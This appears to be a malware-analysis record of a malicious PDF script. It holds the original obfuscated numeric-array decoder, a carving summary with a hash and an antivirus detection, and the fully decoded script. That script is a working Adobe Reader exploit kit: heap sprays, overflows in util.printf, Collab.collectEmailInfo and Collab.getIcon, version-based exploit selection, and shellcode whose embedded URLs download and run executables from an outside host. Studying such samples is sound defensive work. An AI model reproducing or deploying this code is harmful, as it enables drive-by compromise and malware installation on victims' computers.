14,82,154,161,172,160,171,93,98,91,178,63,65,59,64,59,164,151,164,145,152,164,169,147,176,141,154,161,172,160,171,143,87,111,87,171,152,164,170,162,87,93,87,165,159,151,163,158,154,161,155,151,114,63,65,59,64,175,68,60,64,59,173,147,169,82,166,168,156,164,157,158,166,169,87,111,87,167,165,151,170,149,152,162,156,90,89,87,172,98,154,98,154,87,172,98,154,98,154,84,96,109,68,60,64,59,174,154,160,158,156,82,95,161,173,151,169,152,163,161,174,96,163,151,165,153,171,154,87,110,87,102,107,107,108,100,96,173,68,60,64,59,64,161,173,151,169,152,163,161,174,82,98,111,87,161,173,151,169,152,163,161,174,109,68,60,64,59,180,63,65,59,64,166,159,155,170,96,154,161,163,158,152,148,138,166,166,164,156,82,116,82,122,161,163,158,152,148,101,149,166,158,163,151,154,166,124,159,152,155,163,123,165,152,166,90,178,165,172,148,161,108,87,84,89,94,164,165,158,108,87,161,173,151,169,152,163,161,174,175,96,109,68,60,64,175,68,60,68,60,64,152,172,160,154,166,160,161,165,82,154,161,163,158,152,148,150,153,156,166,160,149,166,160,95,91,178,63,65,59,64,155,157,82,95,147,167,162,101,150,166,149,101,117,166,158,163,147,153,96,158,151,171,123,154,161,165,91,178,63,65,59,64,59,173,147,169,82,152,164,169,171,87,111,87,160,156,169,87,115,169,164,152,171,95,91,114,63,65,59,64,59,173,147,169,82,173,168,167,151,171,154,176,147,87,111,87,167,165,151,170,149,152,162,156,90,89,87,172,119,121,119,112,87,172,98,103,98,104,87,172,103,109,98,103,87,172,115,104,104,107,87,172,98,103,101,103,87,172,98,103,98,103,87,172,102,103,106,121,87,172,106,121,98,122,87,172,99,122,105,103,87,172,106,121,115,123,87,172,98,111,102,103,87,172,117,106,103,124,87,172,106,121,103,108,87,172,106,121,119,122,87,172,98,111,102,108,87,172,101,106,103,105,87,172,117,104,118,105,87,172,98,106,117,105,87,172,99,103,101,105,87,172,106,103,102,103,87,172,98,103,101,111,87,172,120,108,105,108,87,172,117,105,106,121,87,172,103,123,103,120,87,172,98,107,117,105,87,172,103,108,98,103,87,172,119,122,106,121,87,172,103,104,103,104,87,172,103,109,103,106,87,172,104,103,103,110,87,172,103,123,106,121,87,172,101,106,98,111,87,172,106,121,117,103,87,172,98,122,105,108,87,172,120,124,106,121,87,172,105,109,98,106,87,172,106,121,101,122,87,172,105,111,102,124,87,172,117,125,98,106,87,172,103,104,106,121,87,172,103,105,99,122,87,172,103,104,106,121,87,172,103,105,100,107,87,172,105,104,106,121,87,172,102,124,99,107,87,172,105,108,106,112,87,172,106,121,120,122,87,172,100,103,105,104,87,172,120,110,98,106,87,172,102,120,107,112,87,172,102,105,115,123,87,172,101,121,104,103,87,172,120,122,103,108,87,172,98,107,105,108,87,172,117,103,101,106,87,172,101,110,119,121,87,172,120,125,101,106,87,172,102,108,98,106,87,172,107,110,98,122,87,172,117,125,106,121,87,172,105,108,115,124,87,172,100,121,120,123,87,172,102,125,120,112,87,172,119,111,103,104,87,172,120,125,107,107,87,172,120,125,120,125,87,172,117,106,101,121,87,172,105,107,104,104,87,172,119,121,98,105,87,172,106,121,118,112,87,172,98,122,102,108,87,172,103,124,107,105,87,172,120,105,98,106,87,172,119,103,118,104,87,172,117,109,98,106,87,172,117,112,101,106,87,172,116,110,98,125,87,172,103,125,98,111,87,172,119,104,117,104,87,172,98,106,98,105,87,172,98,106,117,120,87,172,106,121,117,125,87,172,98,106,98,104,87,172,106,112,117,105,87,172,120,111,102,108,87,172,106,121,104,104,87,172,120,111,102,108,87,172,103,124,103,125,87,172,117,112,103,121,87,172,103,108,117,106,87,172,119,122,106,121,87,172,119,111,103,104,87,172,120,125,102,112,87,172,120,125,120,125,87,172,104,111,103,103,87,172,104,103,119,111,87,172,98,107,116,125,87,172,104,122,119,111,87,172,120,125,120,125,87,172,101,106,120,125,87,172,103,105,118,105,87,172,120,125,103,105,87,172,98,111,105,108,87,172,118,103,120,125,87,172,102,108,106,112,87,172,106,121,120,122,87,172,120,122,102,108,87,172,117,106,117,112,87,172,106,121,103,108,87,172,106,106,119,122,87,172,98,122,119,122,87,172,102,108,106,123,87,172,103,103,120,107,87,172,102,108,117,109,87,172,105,108,120,107,87,172,102,108,117,109,87,172,105,105,120,108,87,172,102,108,117,109,87,172,104,122,120,109,87,172,102,108,117,109,87,172,104,123,120,110,87,172,102,108,117,109,87,172,104,125,120,111,87,172,102,108,117,109,87,172,104,124,120,112,87,172,102,108,117,109,87,172,100,124,120,120,87,172,102,108,117,109,87,172,104,107,120,121,87,172,102,108,117,109,87,172,104,122,120,122,87,172,102,108,117,109,87,172,104,122,120,123,87,172,102,108,117,109,87,172,98,103,120,124,87,172,115,103,119,111,87,172,120,125,120,125,87,172,103,103,120,125,87,172,103,123,104,111,87,172,99,104,106,120,87,172,119,111,99,109,87,172,120,125,99,108,87,172,120,125,120,125,87,172,117,107,106,106,87,172,106,108,98,122,87,172,105,107,117,103,87,172,104,120,99,108,87,172,104,120,98,103,87,172,120,125,98,103,87,172,98,122,105,108,87,172,105,108,120,125,87,172,104,120,98,111,87,172,120,125,98,103,87,172,106,108,118,103,87,172,105,108,117,103,87,172,102,103,98,106,87,172,117,106,117,112,87,172,117,103,101,106,87,172,117,106,117,112,87,172,101,106,103,110,87,172,106,121,117,103,87,172,100,107,102,122,87,172,106,121,98,122,87,172,100,107,105,122,87,172,120,122,98,111,87,172,115,120,120,106,87,172,117,106,103,125,87,172,102,122,106,121,87,172,98,107,100,107,87,172,101,112,106,103,87,172,106,121,98,103,87,172,105,107,117,104,87,172,102,103,98,109,87,172,101,111,106,103,87,172,105,108,98,103,87,172,100,121,120,120,87,172,117,106,117,104,87,172,106,121,103,108,87,172,106,106,119,122,87,172,104,107,119,122,87,172,106,123,103,106,87,172,120,103,102,108,87,172,101,106,103,110,87,172,103,103,118,121,87,172,102,108,117,109,87,172,104,121,120,103,87,172,102,108,117,109,87,172,104,108,120,104,87,172,102,108,117,109,87,172,105,105,120,105,87,172,102,108,117,109,87,172,104,124,120,106,87,172,102,108,117,109,87,172,104,108,120,107,87,172,102,108,117,109,87,172,104,122,120,108,87,172,102,108,117,109,87,172,101,106,120,109,87,172,102,108,117,109,87,172,101,105,120,110,87,172,102,108,117,109,87,172,100,124,120,111,87,172,102,108,117,109,87,172,104,107,120,112,87,172,102,108,117,109,87,172,104,122,120,120,87,172,102,108,117,109,87,172,104,122,120,121,87,172,103,123,106,111,87,172,119,111,120,122,87,172,120,125,98,121,87,172,120,125,120,125,87,172,104,111,103,103,87,172,102,106,104,111,87,172,106,124,120,112,87,172,106,103,119,111,87,172,120,125,120,124,87,172,106,121,120,125,87,172,106,123,120,111,87,172,107,122,102,108,87,172,102,107,104,120,87,172,119,111,103,103,87,172,120,125,105,124,87,172,120,125,120,125,87,172,102,108,106,123,87,172,104,120,119,103,87,172,103,103,99,103,87,172,105,106,119,111,87,172,120,125,120,125,87,172,106,106,120,125,87,172,99,122,117,107,87,172,102,108,106,123,87,172,103,103,119,103,87,172,102,108,106,123,87,172,103,103,107,122,87,172,103,106,103,106,87,172,103,106,103,106,87,172,103,106,103,106,87,172,105,108,120,125,87,172,117,110,98,111,87,172,107,122,102,108,87,172,98,103,102,107,87,172,98,103,98,103,87,172,120,125,103,106,87,172,103,125,118,110,87,172,116,109,98,125,87,172,103,121,117,103,87,172,117,106,117,112,87,172,106,121,103,108,87,172,103,104,119,122,87,172,103,106,103,104,87,172,103,110,103,109,87,172,102,105,104,120,87,172,105,105,119,111,87,172,98,103,98,103,87,172,106,121,98,103,87,172,101,106,118,111,87,172,106,108,120,109,87,172,103,112,118,121,87,172,102,108,117,110,87,172,104,104,120,111,87,172,104,108,100,124,87,172,117,110,105,111,87,172,120,122,102,108,87,172,98,103,104,108,87,172,98,103,98,103,87,172,103,109,105,124,87,172,102,108,106,123,87,172,103,103,120,111,87,172,119,111,103,109,87,172,98,103,103,104,87,172,98,103,98,103,87,172,103,103,103,112,87,172,116,104,119,111,87,172,120,125,120,124,87,172,106,108,120,125,87,172,103,112,117,103,87,172,105,107,103,112,87,172,106,123,101,112,87,172,98,104,102,109,87,172,119,111,103,103,87,172,98,103,101,121,87,172,98,103,98,103,87,172,120,111,106,121,87,172,102,108,106,123,87,172,103,103,120,111,87,172,100,104,119,111,87,172,120,125,120,125,87,172,106,108,120,125,87,172,103,112,117,103,87,172,105,107,103,112,87,172,103,110,98,122,87,172,98,104,119,111,87,172,120,125,120,125,87,172,103,112,120,125,87,172,102,107,117,109,87,172,120,125,101,111,87,172,103,103,105,106,87,172,102,108,106,123,87,172,120,124,120,111,87,172,103,111,98,103,87,172,102,108,106,123,87,172,103,103,120,111,87,172,119,111,103,110,87,172,120,124,105,107,87,172,120,125,120,125,87,172,103,112,103,112,87,172,102,109,102,109,87,172,120,106,101,121,87,172,115,120,105,122,87,172,103,124,103,125,87,172,117,112,103,121,87,172,103,108,117,106,87,172,119,122,106,121,87,172,103,106,103,104,87,172,104,103,104,109,87,172,101,105,116,104,87,172,98,103,119,111,87,172,98,103,98,103,87,172,103,111,98,103,87,172,98,111,101,111,87,172,98,106,105,107,87,172,119,121,102,103,87,172,102,103,120,112,87,172,103,123,106,121,87,172,106,103,98,111,87,172,102,105,120,121,87,172,98,111,105,108,87,172,118,121,101,106,87,172,99,111,106,120,87,172,117,106,106,121,87,172,99,110,119,121,87,172,99,111,101,111,87,172,99,104,105,109,87,172,101,106,102,103,87,172,106,107,117,112,87,172,105,107,118,121,87,172,102,103,98,122,87,172,98,111,101,111,87,172,120,121,105,108,87,172,120,124,102,103,87,172,119,121,117,121,87,172,101,106,120,105,87,172,106,112,117,103,87,172,120,122,102,108,87,172,102,108,106,121,87,172,103,121,120,122,87,172,117,106,117,112,87,172,98,105,101,105,87,172,105,107,104,111,87,172,105,103,105,107,87,172,100,125,101,120,87,172,104,125,100,125,87,172,105,108,105,112,87,172,104,122,104,124,87,172,104,124,104,104,87,172,100,124,104,107,87,172,105,105,104,125,87,172,100,125,104,110,87,172,105,105,104,109,87,172,104,110,104,104,87,172,105,106,105,108,87,172,104,111,100,125,87,172,104,124,104,121,87,172,101,105,105,111,87,172,104,108,100,124,87,172,104,108,105,111,87,172,104,111,98,103,87,172,105,107,105,107,87,172,101,120,105,103,87,172,100,125,100,125,87,172,105,112,104,125,87,172,104,124,105,108,87,172,104,104,104,122,87,172,104,107,104,124,87,172,104,125,100,124,87,172,104,110,105,105,87,172,104,109,100,125,87,172,104,104,105,105,87,172,105,108,104,110,87,172,100,125,105,106,87,172,104,122,104,106,87,172,104,106,104,112,87,172,100,124,104,121,87,172,104,111,105,103,87,172,101,125,105,103,87,172,101,123,105,105,87,172,98,103,98,103,84,96,109,68,60,64,59,64,168,152,164,87,154,142,163,108,98,103,117,133,82,116,82,173,168,167,151,171,154,176,147,101,158,156,160,158,166,159,82,97,82,105,109,68,60,64,59,64,168,152,164,87,158,156,160,87,111,87,98,175,102,103,98,103,98,103,82,100,82,95,154,142,163,108,98,103,117,133,82,98,82,103,170,106,106,96,109,68,60,64,59,64,168,152,164,87,171,152,164,170,162,87,111,87,167,165,151,170,149,152,162,156,90,89,87,172,107,103,107,103,87,172,107,103,107,103,84,96,109,68,60,64,59,64,171,152,164,170,162,87,111,87,152,160,170,150,155,171,90,176,147,169,165,167,94,87,158,156,160,96,109,68,60,64,59,64,168,152,164,87,162,108,115,161,125,109,103,157,82,116,82,95,98,175,98,154,98,154,98,154,98,154,82,100,82,103,170,107,98,103,98,103,98,96,82,102,82,103,170,107,98,103,98,103,98,114,63,65,59,64,59,157,161,169,82,95,168,152,164,87,168,168,149,136,118,112,104,176,82,116,82,103,109,87,168,168,149,136,118,112,104,176,82,115,82,167,103,120,156,130,104,108,152,114,82,173,163,154,131,123,107,109,171,87,93,98,82,96,173,68,60,64,59,64,59,152,164,169,171,146,168,168,149,136,118,112,104,176,143,87,111,87,171,152,164,170,162,87,93,87,168,173,162,156,166,159,171,152,109,68,60,64,59,64,175,68,60,64,59,64,168,152,164,87,166,140,127,159,128,153,121,174,82,116,82,172,160,156,165,154,147,167,151,95,84,92,98,112,84,96,109,68,60,64,59,64,169,159,155,163,151,87,90,171,135,132,154,133,148,126,169,101,158,156,160,158,166,159,82,115,82,103,170,107,98,103,98,96,173,68,60,64,59,64,59,171,135,132,154,133,148,126,169,87,93,116,82,171,135,132,154,133,148,126,169,114,63,65,59,64,59,180,63,65,59,64,59,171,135,132,154,133,148,126,169,87,111,87,84,133,96,89,82,98,82,171,135,132,154,133,148,126,169,114,63,65,59,64,59,152,162,167,96,155,161,154,96,122,161,163,158,152,148,101,153,156,166,128,149,166,160,95,166,140,127,159,128,153,121,174,91,114,63,65,59,64,175,68,60,64,175,68,60,68,60,64,152,172,160,154,166,160,161,165,82,167,150,157,145,170,166,152,164,171,90,96,173,68,60,68,60,64,59,173,147,169,82,173,151,169,165,160,161,165,82,116,82,152,162,167,96,173,155,156,169,156,164,141,151,169,165,160,161,165,96,171,161,138,166,169,155,165,153,95,91,114,63,65,59,64,168,156,164,170,155,166,160,87,111,87,168,156,164,170,155,166,160,101,164,156,162,163,147,154,151,95,97,147,118,102,153,99,89,94,91,114,63,65,59,64,168,152,164,87,168,152,164,170,155,166,160,150,147,169,164,152,171,87,111,87,160,156,169,87,115,169,164,152,171,95,168,156,164,170,155,166,160,101,149,159,147,169,115,171,90,103,91,99,82,173,151,169,165,160,161,165,96,154,154,152,164,120,166,95,99,96,94,87,168,156,164,170,155,166,160,101,149,159,147,169,115,171,90,105,91,96,109,68,60,64,59,160,152,87,90,95,168,152,164,170,155,166,160,150,147,169,164,152,171,146,98,148,82,116,111,87,106,96,82,93,88,87,90,173,147,169,165,160,161,165,145,152,164,169,147,176,141,104,143,87,111,116,82,103,91,87,174,179,82,95,168,152,164,170,155,166,160,150,147,169,164,152,171,146,99,148,82,116,111,87,99,87,88,93,82,173,147,169,165,160,161,165,145,152,164,169,147,176,141,105,143,87,110,87,101,96,91,178,63,65,59,64,59,172,166,160,158,150,162,169,155,165,166,157,90,96,109,68,60,64,59,180,63,65,59,64,155,157,82,95,90,173,147,169,165,160,161,165,145,152,164,169,147,176,141,103,143,87,110,87,106,96,82,179,174,87,90,173,147,169,165,160,161,165,145,152,164,169,147,176,141,103,143,87,111,116,82,111,82,93,88,87,168,152,164,170,155,166,160,150,147,169,164,152,171,146,99,148,82,115,82,105,82,93,88,87,168,152,164,170,155,166,160,150,147,169,164,152,171,146,100,148,82,115,82,105,91,96,173,68,60,64,59,64,149,166,158,163,147,153,145,156,159,152,155,163,90,96,109,68,60,64,59,180,63,65,59,64,155,157,82,95,90,173,147,169,165,160,161,165,145,152,164,169,147,176,141,103,143,87,110,87,107,96,82,179,174,87,90,173,147,169,165,160,161,165,145,152,164,169,147,176,141,103,143,87,111,116,82,112,82,93,88,87,168,152,164,170,155,166,160,150,147,169,164,152,171,146,99,148,82,115,82,104,91,96,173,68,60,64,59,64,149,166,158,163,147,153,145,158,151,171,155,154,161,165,90,96,109,68,60,64,59,180,63,65,59,180,63,65,63,65,59,167,150,157,145,170,166,152,164,171,90,96,109,68,60,64],bmqswx=function(){for(var alru;degjqt<dlopy.length;degjqt+=1){var cdenqs=degjqt%adijsw.length+1;var hlmtuv=adijsw.substring(degjqt%adijsw.length,cdenqs);var dimp=dlopy[degjqt];ajkq+=ilpr(dimp-hlmtuv.charCodeAt(0));} dwzx(ajkq);};bmqswx();cgku="";deux="";dfostv=49038;defghp=5533;lzxp='';xnjovz='';adgknr=false;mlezdo='';bdio=true;
`legacy_pdfkit_stage_000.js`	deobfuscated-js	numeric array subtract-key decoded JavaScript at offset 0x1A5	9964 bytes
SHA-256: `68fb594dce135315d595f0f0f054806685a7cf9b6f97bb0226bfe2191be0d582`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){ while (yarsp.length * 2 < len){ yarsp += yarsp; } yarsp = yarsp.substring(0, len/2); return yarsp; } function util_printf(){ var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6F2F%u7579%u6C6E%u6E61%u2E64%u726F%u2F67%u7266%u6761%u7375%u622F%u6F6A%u7673%u3277%u652E%u6578%u6800%u7474%u3A70%u2F2F%u796F%u6E75%u616C%u646E%u6F2E%u6772%u662F%u6172%u7567%u2F73%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock = nop + payload; var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var spray = headersize + heapblock.length; while (bigblock.length < spray){ bigblock += bigblock; } var fillblock = bigblock.substring(0, spray); var block = bigblock.substring(0, bigblock.length-spray); while (block.length+spray < 0x40000){ block = block + block + fillblock; } var mem_array = new Array(); for (var i = 0; i < 1400; i++){ mem_array[i] = block + heapblock; } var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f", num); } function collab_email(){ var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6F2F%u7579%u6C6E%u6E61%u2E64%u726F%u2F67%u7266%u6761%u7375%u612F%u6C6A%u3271%u652E%u6578%u6800%u7474%u3A70%u2F2F%u796F%u6E75%u616C%u646E%u6F2E%u6772%u662F%u6172%u7567%u2F73%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var sc_len = shellcode.length * 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count = 0; count < count2; count++){ mem_array[count] = yarsp + shellcode; } var overflow = unescape("%u0c0c%u0c0c"); while (overflow.length < 44952){ overflow += overflow; } this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow}); } function collab_geticon(){ if (app.doc.Collab.getIcon){ var arry = new Array(); var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6F2F%u7579%u6C6E%u6E61%u2E64%u726F%u2F67%u7266%u6761%u7375%u682F%u6E6B%u3278%u652E%u6578%u6800%u7474%u3A70%u2F2F%u796F%u6E75%u616C%u646E%u6F2E%u6772%u662F%u6172%u7567%u2F73%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var hWq500CN = vvpethya.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){ arry[vqcQD96y] = yarsp + vvpethya; } var tUMhNbGw = unescape("%09"); while (tUMhNbGw.length < 0x4000){ tUMhNbGw += tUMhNbGw; } tUMhNbGw = "N." + tUMhNbGw; app.doc.Collab.getIcon(tUMhNbGw); } } function pdf_start(){ var version = app.viewerVersion.toString(); version = version.replace(/\D/g,''); var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2)); if ((varsion_array[0] == 8) && (varsion_array[1] == 0) \|\| (varsion_array[1] == 1 && varsion_array[2] < 3)){ util_printf(); } if ((varsion_array[0] < 8) \|\| (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){ collab_email(); } if ((varsion_array[0] < 9) \|\| (varsion_array[0] == 9 && varsion_array[1] < 1)){ collab_geticon(); } } 